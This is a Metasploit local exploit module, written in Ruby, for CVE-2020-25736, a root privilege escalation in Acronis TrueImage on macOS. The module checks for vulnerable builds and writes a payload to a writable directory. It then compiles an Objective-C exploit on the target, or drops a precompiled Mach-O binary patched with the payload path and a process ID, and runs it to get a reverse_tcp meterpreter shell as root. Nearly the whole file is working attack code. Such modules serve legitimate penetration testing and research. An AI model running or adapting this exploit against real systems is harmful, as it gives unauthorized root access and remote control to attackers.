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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Common
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  include Msf::Post::Process
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Acronis TrueImage XPC Privilege Escalation',
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        'Description' => %q{
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          Acronis TrueImage versions 2019 update 1 through 2021 update 1
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          are vulnerable to privilege escalation. The `com.acronis.trueimagehelper`
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          helper tool does not perform any validation on connecting clients,
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          which gives arbitrary clients the ability to execute functions provided
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          by the helper tool with `root` privileges.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Csaba Fitzl', # @theevilbit - Vulnerability Discovery
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          'Shelby Pace' # Metasploit Module and Objective-c code
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        ],
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        'Platform' => [ 'osx' ],
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        'Arch' => [ ARCH_X64 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [[ 'Auto', {} ]],
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        'Privileged' => true,
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        'References' => [
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          [ 'CVE', '2020-25736' ],
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          [ 'URL', 'https://kb.acronis.com/content/68061' ],
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          [ 'URL', 'https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736' ]
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        ],
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        'DefaultOptions' => {
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          'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp',
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          'WfsDelay' => 15
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        },
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        'DisclosureDate' => '2020-11-11',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [ CRASH_SAFE ],
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
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        }
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      )
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    )
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    register_options([
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      OptString.new('WRITABLE_DIR', [ true, 'Writable directory to write the payload to', '/tmp' ]),
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      OptString.new('SHELL', [ true, 'Shell to use for executing payload', '/bin/zsh' ]),
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      OptEnum.new('COMPILE', [ true, 'Compile exploit on target', 'Auto', [ 'Auto', 'True', 'False' ] ])
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    ])
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  end
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  def tmp_dir
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    datastore['WRITABLE_DIR'].to_s
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  end
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  def sys_shell
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    datastore['SHELL'].to_s
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  end
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  def compile
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    datastore['COMPILE']
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  end
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  def compile_on_target?
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    return false if compile == 'False'
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    if compile == 'Auto'
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      ret = cmd_exec('xcode-select -p')
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      return false if ret.include?('error: unable')
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    end
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    true
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  end
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  def exp_file_name
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    @exp_file_name ||= Rex::Text.rand_text_alpha(5..10)
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  end
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  def check
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    helper_location = '/Library/PrivilegedHelperTools'
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    helper_svc_names = [ 'com.acronis.trueimagehelper', 'com.acronis.helpertool' ]
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    plist = '/Applications/Acronis True Image.app/Contents/Info.plist'
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    unless helper_svc_names.any? { |svc_name| file?("#{helper_location}/#{svc_name}") }
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      return CheckCode::Safe
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    end
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    return CheckCode::Detected('Service found, but cannot determine version via plist') unless file?(plist)
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    plutil_cmd = "plutil -extract CFBundleVersion raw \'#{plist}\'"
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    build_no = cmd_exec(plutil_cmd)
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    return CheckCode::Detected('Could not retrieve build number from plist') if build_no.blank?
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    build_no = build_no.to_i
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    vprint_status("Found build #{build_no}")
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    return CheckCode::Appears('Vulnerable build found') if build_no > 14170 && build_no < 33610
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    CheckCode::Safe('Acronis version found is not vulnerable')
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  end
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  def exploit
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    payload_name = Rex::Text.rand_text_alpha(7)
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    @payload_path = "#{tmp_dir}/#{payload_name}"
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    print_status("Attempting to write payload at #{@payload_path}")
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    unless upload_and_chmodx(@payload_path, generate_payload_exe)
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      fail_with(Failure::BadConfig, 'Failed to write payload. Consider changing WRITABLE_DIR option.')
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    end
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    vprint_good("Successfully wrote payload at #{@payload_path}")
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    @pid = get_valid_pid
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    exp_bin_path = "#{tmp_dir}/#{exp_file_name}"
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    if compile_on_target?
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      exp_src = "#{exp_file_name}.m"
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      exp_path = "#{tmp_dir}/#{exp_src}"
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      compile_cmd = "gcc -framework Foundation #{exp_path} -o #{exp_bin_path}"
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      unless write_file(exp_path, objective_c_code)
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        fail_with(Failure::BadConfig, 'Failed to write Objective-C exploit to disk. WRITABLE_DIR may need to be changed')
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      end
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      register_files_for_cleanup(@payload_path, exp_path, exp_bin_path)
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      ret = cmd_exec(compile_cmd)
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      fail_with(Failure::UnexpectedReply, "Failed to compile #{exp_src}") unless ret.blank?
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      print_status("Successfully compiled #{exp_src}...Now executing payload")
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    else
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      print_status("Using pre-compiled exploit #{exp_bin_path}")
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      compiled_exploit = compiled_exp
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      unless upload_and_chmodx(exp_bin_path, compiled_exploit)
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        fail_with(Failure::BadConfig, 'Failed to write compiled exploit. Consider changing WRITABLE_DIR option.')
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      end
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      register_files_for_cleanup(exp_bin_path, @payload_path)
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    end
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    cmd_exec(exp_bin_path)
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  end
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  def objective_c_code
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    file_contents = exploit_data('CVE-2020-25736', 'acronis-exp.erb')
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    ERB.new(file_contents).result(binding)
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  rescue Errno::ENOENT
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    fail_with(Failure::NotFound, 'ERB payload file not found')
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  end
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  def compiled_exp
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    compiled = exploit_data('CVE-2020-25736', 'acronis-exp.macho')
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    compiled.gsub!('/tmp/payload', @payload_path)
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    compiled.gsub!('/bin/zsh', sys_shell)
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    compiled.gsub!("\xEF\xBE\xAD\xDE".force_encoding('ASCII-8BIT'), [@pid.to_i].pack('V'))
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    compiled
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  end
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  def get_valid_pid
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    procs = get_processes
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    return '1' if procs.empty?
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    len = procs.length
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    rand_proc = procs[rand(1...len)]
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    return '1' if rand_proc['pid'].to_s.blank?
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    rand_proc['pid'].to_s
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  end
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end
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